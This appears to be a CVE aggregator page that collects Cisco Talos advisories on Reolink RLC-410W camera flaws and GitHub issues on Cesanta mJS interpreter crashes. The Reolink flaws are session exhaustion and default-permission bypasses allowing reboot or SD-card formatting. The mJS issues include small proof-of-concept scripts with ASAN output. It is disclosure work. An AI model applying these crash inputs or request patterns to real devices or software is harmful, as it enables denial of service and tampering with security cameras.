A denial of service vulnerability exists in the netserver recv_command functionality of reolink RLC-410W v3.0.0.136_20121102. A specially-crafted network request can lead to a reboot. An attacker can send a malicious packet to trigger this vulnerability.

CVE-2022-21801

A CWE-754: Improper Check for Unusual or Exceptional Conditions vulnerability exists that could cause a Denial of Service of the RTU when receiving a specially crafted request over Modbus, and the RTU is configured as a Modbus server. Affected Products: SCADAPack 312E, 313E, 314E, 330E, 333E, 334E, 337E, 350E and 357E RTUs with firmware V8.18.1 and prior

CVE-2021-22816

A denial of service vulnerability exists in the cgiserver.cgi API command parser functionality of Reolink RLC-410W v3.0.0.136_20121102. A specially-crafted series of HTTP requests can lead to denial of service. An attacker can send an HTTP request to trigger this vulnerability.

CVE-2021-40423

A denial of service vulnerability exists in the cgiserver.cgi session creation functionality of reolink RLC-410W v3.0.0.136_20121102. A specially-crafted HTTP request can lead to prevent users from logging in. An attacker can send an HTTP request to trigger this vulnerability.

**Summary**

A denial of service vulnerability exists in the cgiserver.cgi session creation functionality of reolink RLC-410W v3.0.0.136\_20121102. A specially-crafted HTTP request can lead to prevent users from logging in. An attacker can send an HTTP request to trigger this vulnerability.

**Tested Versions**

Reolink RLC-410W v3.0.0.136\_20121102

**Product URLs**

RLC-410W - https://reolink.com/us/product/rlc-410w/

**CVSSv3 Score**

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-400 - Uncontrolled Resource Consumption

**Details**

The Reolink RLC-410W is a WiFi security camera. The camera includes motion detection functionalities and various methods to save the recordings.

The RLC-410W maintains an in-memory session list. The `cgiserver.cgi` will keep the session list updated, removing the out of date sessions and the invalid ones.

A specially-crafted HTTP request can pollute the sessions list with a non-removable session, possibly filling the session list up and preventing the users from logging into the camera.

The `cgiserver.cgi` uses the `parse_incoming_and_check_command` function to parse the URL and body data. For many APIs their data can be specified either through the URL or trough the request body. For the `Login` API the body request looks like the following:

    [
        {
            "cmd":    "Login",
            "action": "0",
            "param":{
              "User":{
                  "userName":<username>,
                  "password":<password>
              }
            }
        }
    ]
    

Since it is possible to provide a list of commands, the body request is composed of a JSON array of JSON objects. Each object represents a command with its parameters.

The function `parse_incoming_and_check_command`:

    int parse_incoming_and_check_command(cgi_request *req)
    
    {
        [...]
        
        Json::Reader::Reader(json_reader);
        Json::Value::Value(&json_value,0);
        iVar1 = parse_request(req);
        if (iVar1 == 0) {
            if (((int)req->CONTENT_LENGTH < 1) || (req->is_commands_in_body == 0)) {
                            /* no body is present */
            [...]
            }
            std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
                    ((char *)post_data_as_basic_string,(allocator *)req->body_data);
            pbVar4 = post_data_as_basic_string;
            post_data_is_valid_json =
                Json::Reader::parse(json_reader,post_data_as_basic_string,&json_value,true);
            std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
                    ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)
                    post_data_as_basic_string);
            if (post_data_is_valid_json == 0) {
            AVar3 = param error;
            }
            else {
            post_data_is_valid_json = Json::Value::isArray(&json_value,pbVar4);
            json_idx = 0;
            if (post_data_is_valid_json != 0) {
                for (; total_number_of_elements = Json::Value::size(&json_value),
                    json_idx < total_number_of_elements; json_idx = json_idx + 1) {
                [... parse a JSON command object and insert it into the command list ...]                   [1]
                }
                goto LAB_0043ccbc;
            }
            AVar3 = protocol;
            }
            req->req_status = AVar3;
        }
        iVar1 = -1;
        LAB_0043ccbc:
        Json::Value::~Value(&json_value);
        Json::Reader::~Reader(json_reader);
        return iVar1;
    }
    

At `[1]` a single command is parsed and inserted into a list of commands that will later be iterated on, and each command will be executed. Later on, in the case of the `Login` API, a session is created. If the `Login` data are not provided in the URI, the `associate_session_to_request` will be executed to create the session:

    undefined4 associate_session_to_request(c_cgiserver_obj *cgi,cgi_request *req)
    
    {
        dword dVar1;
        API_status_code AVar2;
        cgi_session *session_;
        int iVar3;
        cgi_session *session;
        session_node *session_node_cur;
        dword apStack56 [4];
        
        session_node_cur = (cgi->session_node).session_node_start;
        while( true ) {
            if (session_node_cur == (session_node *)&(cgi->session_node).session_node_end) {
            AVar2 = please login first;
            if (req->req_command_ID == Login) {
                if (cgi->number_of_active_sessions < cgi->max_number_of_sessions) {
                session_ = (cgi_session *)operator.new(0xe8);
                c_cgisession::c_cgisession(session_,cgi,cgi->next_session_ID);
                req->session_ID = session_->session_ID;
                iVar3 = c_cgisession::init(session_,req);
                if (-1 < iVar3) {
                    cgi->next_session_ID = cgi->next_session_ID + 1;
                    apStack56[2] = session_->session_ID;
                    apStack56[3] = (dword)session_;
                    std::
                    _Rb_tree<unsigned_int,std::pair<unsigned_int_const,c_cgisession*>,std::_Select1st<std::pair<unsigned_int_const,c_cgisession*>>,std::less<unsigned_int>,std::allocator<std::pair<unsigned_int_const,c_cgisession*>>>
                    ::_M_insert_unique((pair *)apStack56,&cgi->session_node,(dword)(apStack56 + 2));
                    c_cgisession::cgi_req_proc(session_,req);                                               [2]
                    return 0;
                }
                session_->session_status = INVALID;
                AVar2 = login failed;
                }
                else {
                AVar2 = max session;
                }
            }
            req->req_status = AVar2;
            return 0xffffffff;
            }
            [...]
        }
        req->session_ID = session->session_ID;
        dVar1 = time((time_t *)0x0);
        session->last_time_checked = dVar1;
        session->lease_time = dVar1 + 0xe10;
        c_cgisession::cgi_req_proc(session,req);
        return 0;
    }
    

At `[2]` is called the function that will iterate over the commands provided and execute them. Based on the `Login` API results, the `session_status` field of the sessions will be set, either to `VALID` or `INVALID`.

An unhandled logic case exists in the `Login` API execution flow. Indeed, if the provided URI `cmd` is `Login`, but then an empty array is provided as body, a session is created nevertheless. Because the list of commands is empty, the `Login` request will not be performed.

Since the session initialization does not set the `session_status` and assumes it will be set later on elaborating the provided command, the session will have an unknown state.

Following the `manage_existing_sessions` function, responsible for keeping the session list updated:

    void manage_existing_sessions(c_cgiserver_obj *cgi)
    
    {
        [...]
        
        current_time = time((time_t *)0x0);
        session_node_ptr = (cgi->session_node).session_node_start;
        while (psVar3 = (session_node *)&(cgi->session_node).session_node_end, session_node_ptr != psVar3)
        {
            session_data = session_node_ptr->session_data_ptr;
            session_status = session_data->session_status;
            if (session_status == VALID) { [3]
                [... Handle a VALID session ...]
            }
            if (session_status == INVALID) { [4]
                [... Handle an INVALID session ...]
            }
            else {
            get_next_node(&old_session_node,&session_node_ptr);
            }
        }
        [...]
    }
    

The `manage_existing_sessions` function does only handle the `VALID` and `INVALID` states respectively at `[3]` and `[4]`. That means that the invalid created session will never be removed. This can fill up the session list, effectively blocking the login to the device.

**Timeline**

2021-12-06 - Vendor Disclosure  
2022-01-19 - Vendor Patched  
2022-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-40406: TALOS-2021-1423 || Cisco Talos Intelligence Group

An incorrect default permission vulnerability exists in the cgiserver.cgi cgi_check_ability functionality of reolink RLC-410W v3.0.0.136_20121102. The SetMdAlarm API sets the movement detection parameters, giving the ability to set the sensitivity of the camera per a range of hours, and which of the camera spaces to ignore when considering movement detection. Because in cgi_check_ability the SetMdAlarm API does not have a specific case, the user permission will default to 7. This will give non-administrative users the possibility to change the movement detection parameters.

**Summary**

Multiple incorrect default permissions vulnerabilities exist in the cgiserver.cgi cgi\_check\_ability functionality of reolink RLC-410W v3.0.0.136\_20121102. A specially-crafted HTTP request can lead to denial of service. An attacker can send an HTTP request to trigger this vulnerability.

**Tested Versions**

Reolink RLC-410W v3.0.0.136\_20121102

**Product URLs**

RLC-410W - https://reolink.com/us/product/rlc-410w/

**CVSSv3 Score**

7.1 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

**CWE**

CWE-284 - Improper Access Control

**Details**

The Reolink RLC-410W is a WiFi security camera. The camera includes motion detection functionalities and various methods to save the recordings.

The RLC-410W offers several APIs. Each one requires a specific user permission to be executed. An error in the permission check exists that would allow unprivileged users to execute privileged APIs.

The permission is specified using a numeric value, allegedly. Only three bits are used:

    G S A
    2 1 0
    

The bit 2 (value 4) is, allegedly, used to permit the majority of `Get` APIs. The bit 1 (value 2) is, allegedly, used to permit the majority of `Set` APIs. The bit 0 (value 1) is, allegedly, used to permit the most critical APIs, including some `Get` and `Set`. For example, APIs that required the bit 0 set are: `UpgradePrepare`, `Upgrade`, `Reboot`, `Shutdown` and others.

The permission is tangled with the user session. Indeed a table exists in the context of the user session that shows each API category with the corresponding user permission.

If the API request is performed by a logged-in user, the permission is checked by the `cgi_check_ability` function:

    undefined4 cgi_check_ability(API_command API_command,cgi_session *session,int channel)
    
      {
        [...]
    
        ability_struct = session->ability_struct;
        if (API_command == Login) {
          return 0;
        }
        command_struct = cgi_find_cmd_table(API_command);
        if (command_struct == (command_struct *)0x0) {
          return not support;
        }
        if (false) {
      switchD_0043a174_caseD_b:
          session_ability_ = 7;                                                                             [1]
          goto LAB_0043a314;
        }
        switch(API_command) {
        case GetDevInfo:
          session_ability_ = ability_struct->GetDevInfo;
          break;
        [... other API cases ...]
        default:
          goto switchD_0043a174_caseD_b;                                                                    [2]
        [... other API cases ...]
          break;
        case GetCloud:
        case SetCloud:
        case GetCloudSchedule:
        case SetCloudSchedule:
          session_ability_ = ability_struct->Cloud;
          break;
        case GetPowerLed:
        case SetPowerLed:
          session_ability_ = ability_struct->PowerLed;
        }
      LAB_0043a314:
        uVar2 = ability error;
        if ((session_ability_ & command_struct->ability_cmd) != 0) {                                        [3]
          uVar2 = 0;
        }
        return uVar2;
      }
    

The `cgi_check_ability` checks, given the requested `API_command`, if the user permission satisfies the API permission. If so the API is executed. If the API requested is not within the switch cases, then the default case, at `[2]`, is performed. The check of the permission is performed at `[3]` using a logical `AND` operator between the user permission and the required command permission. It means that, if the permission guaranteed to the user is `7`, like for the default case at `[2]`, all the APIs with a permission value are allowed.

The following APIs do not have a specific case within the switch:

    {'Login', 'HeartBeat', 'GetMdState', 'GetHddInfo', 'Unknown', 'Playback', 'UpgradePrepare', 'Format', 'SetMdAlarm', 'GetWifiSignal', 'GetAbility', 'GetMdAlarm', 'Logout'}
    

An authenticated user would already be able to access the above `Get` APIs, but APIs like `UpgradePrepare`, `Format` and `SetMdAlarm` should not be executable by a non-admin user. Their impact is described below in dedicated sections.

Note that, while this issue requires a logged-in user, it’s possible to use TALOS-2021-1420 to perform these API calls without authentication. In this case, the actual chained CVSS score would be 8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H and would include the `Get` APIs, since an authenticated user is not necessary.

**CVE-2021-40413 - UpgradePrepare**

The `UpgradePrepare` is the API that checks if a provided filename identifies a new version of the RLC-410W firmware. If the version is new, it would be possible, allegedly, to later on perform the `Upgrade`. Here is the relevant part of the `UpgradePrepare` API code:

    undefined4 UpgradePrepare(cgi_session *session,cgi_cmd *cgi_cmd)
    
    {
      [...]
              current_time = cgi_tick_sec_get();
              cgi_obj->time_of_UpgradePrepare = current_time;                                               [4]
              cgi_cmd->API_processing_status = 3;
              return 0;
    
      [...]
    }
    

Eventually, in the `UpgradePrepare` function, at `[4]` the `time_of_UpgradePrepare` field will be set and later on checked in `cgi_proc`.

The relevant part of the `cgi_proc` function:

    undefined4 cgi_proc(c_cgiserver_obj *cgi)
    
    {
      [...]
          current_time = cgi_tick_sec_get();
          if (300 < current_time - cgi->time_of_UpgradePrepare) {                                           [5]
            if (cgi->time_of_UpgradePrepare == 0) {
              return 0;
            }
            cgi_log(1,0,"[%s,%d]",
                    "/home/lgb/ipc_v1_ver/20201211/ipc_20200324_V1/product/cgiserver/src/cgi_server.cpp"
                    ,0x1e5);
            cgi_log(0,0,"upgrade out of time!!!!!");
            cgi->reboot_proc_status = 1;
            cgi->is_upgrade_started = 0;
          }
          uVar1 = 0;
        }
      [...]
    }
    

At `[5]` it is shown that, if the `Upgrade` is not executed within 5 minutes of the completion of `UpgradePrepare`, the device will reboot. In `cgi_check_ability` the `UpgradePrepare` API does not have a specific case, the user permission will default to 7. This will give non-administrative users the possibility to reboot the device. Furthermore many other services are going to shut down just after the `UpgradePrepare` request is performed, making the recording and other services unavailable.

**CVE-2021-40414 - SetMdAlarm**

The `SetMdAlarm` API sets the movement detection parameters, giving the ability to set the sensitivity of the camera per a range of hours, and which of the camera spaces to ignore when considering movement detection. In `cgi_check_ability` the `SetMdAlarm` API does not have a specific case, the user permission will default to 7. This will give non-administrative users the possibility to change the movement detection parameters.

**CVE-2021-40415 - Format**

The `Format` API formats the SD card, deleting all the recordings in it. After the SD card is formatted, the device will reboot. Because in `cgi_check_ability` the `Format` API does not have a specific case, the user permission will default to 7. This will give non-administrative users the possibility to format the SD card and reboot the device.

**CVE-2021-40416 - Get APIs**

All the `Get` APIs that are not included in `cgi_check_ability` are already executable by any logged-in users. In TALOS-2021-1420, the`Get` APIs are not included and that is an issue. This will allow `Get` APIs without authentication.

**Timeline**

2021-12-06 - Vendor Disclosure  
2022-01-19 - Vendor Patched  
2022-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-40414: TALOS-2021-1425 || Cisco Talos Intelligence Group

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x45a1f. This vulnerability can lead to a Denial of Service (DoS).

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function JSEtest() {
        let arr = [1];
        [[arr.push(0, 17)].push([arr.push(0, 17)].push(0, 17))];
    }
    JSEtest();

​

**Execution steps & Output**

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==126169==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb20926da20 bp 0x000000000000 sp 0x7ffc6083ff90 T0)
==126169==The signal is caused by a READ memory access.
==126169==Hint: address points to the zero page.
    #0 0x7fb20926da1f  (/lib/x86\_64-linux-gnu/libc.so.6+0x45a1f)
    #1 0x5619439c70b3 in cstr\_to\_ulong src/mjs\_string.c:232
    #2 0x5619439c70b3 in str\_to\_ulong src/mjs\_string.c:242
    #3 0x5619438ff7bb in mjs\_array\_length src/mjs\_array.c:83
    #4 0x5619438ff7bb in mjs\_array\_push src/mjs\_array.c:115
    #5 0x5619438ff7bb in mjs\_array\_push\_internal src/mjs\_array.c:131
    #6 0x561943924244 in mjs\_execute src/mjs\_exec.c:853
    #7 0x56194392da05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #8 0x56194392da05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #9 0x5619438ea909 in main src/mjs\_main.c:47
    #10 0x7fb209249b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #11 0x5619438eb449 in \_start (/usr/local/bin/Gmjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86\_64-linux-gnu/libc.so.6+0x45a1f)
==126169==ABORTING

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46539: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f) · Issue #217 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x2c6ae. This vulnerability can lead to a Denial of Service (DoS).

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CVE-2021-46541: SEGV (/usr/local/bin/mjs+0x2c6ae) · Issue #222 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_get_mjs at src/mjs_builtin.c. This vulnerability can lead to a Denial of Service (DoS).

CVE-2021-46540: SEGV src/mjs_builtin.c:105 in mjs_get_mjs  · Issue #214 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x18e810. This vulnerability can lead to a Denial of Service (DoS).

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    load('[\u\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
        '[\t\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
        '\t\r \n}\t\r \n'); 
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==28077==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9ece3d7811 bp 0x7ffc033dfbb0 sp 0x7ffc033df328 T0)
==28077==The signal is caused by a READ memory access.
==28077==Hint: address points to the zero page.
    #0 0x7f9ece3d7810  (/lib/x86\_64-linux-gnu/libc.so.6+0x18e810)
    #1 0x7f9ece88ee55  (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x50e55)
    #2 0x557908c817a0 in cs\_read\_file src/common/cs\_file.c:34
    #3 0x557908bb6043 in mjs\_exec\_file src/mjs\_exec.c:1087
    #4 0x557908b93bf6 in mjs\_load src/mjs\_builtin.c:69
    #5 0x557908bad244 in mjs\_execute src/mjs\_exec.c:853
    #6 0x557908bb6a05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #7 0x557908bb6a05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #8 0x557908b73909 in main src/mjs\_main.c:47
    #9 0x7f9ece26ab96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #10 0x557908b74449 in \_start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86\_64-linux-gnu/libc.so.6+0x18e810)
==28077==ABORTING

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46543: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810) · Issue #219 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_print at src/mjs_builtin.c. This vulnerability can lead to a Denial of Service (DoS).

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**

function D(i) {
    print++i
    return \[i\];
}
function A() {
    return D.apply(print(chr(D.apply(print(chr(0)), \[i, 1, 2, 3\]))), \[i, 1, 2, 3\]);
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(89)\[0\]
JSEtest(0.2)

​

**Execution steps & Output**

$ ./mjs/build/mjs poc.js
\\x00
null
ASAN:DEADLYSIGNAL
=================================================================
==55629==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55789394d7f2 bp 0x000000000095 sp 0x7ffdc33bd878 T0)
==55629==The signal is caused by a READ memory access.
==55629==Hint: address points to the zero page.
    #0 0x55789394d7f1 in mjs\_print src/mjs\_builtin.c:18
    #1 0x557893968244 in mjs\_execute src/mjs\_exec.c:853
    #2 0x557893971a05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #3 0x557893971a05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #4 0x55789392e909 in main src/mjs\_main.c:47
    #5 0x7f7c0e673b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x55789392f449 in \_start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs\_builtin.c:18 in mjs\_print
==55629==ABORTING

Credits: Found by OWL337 team.

Tag

#dos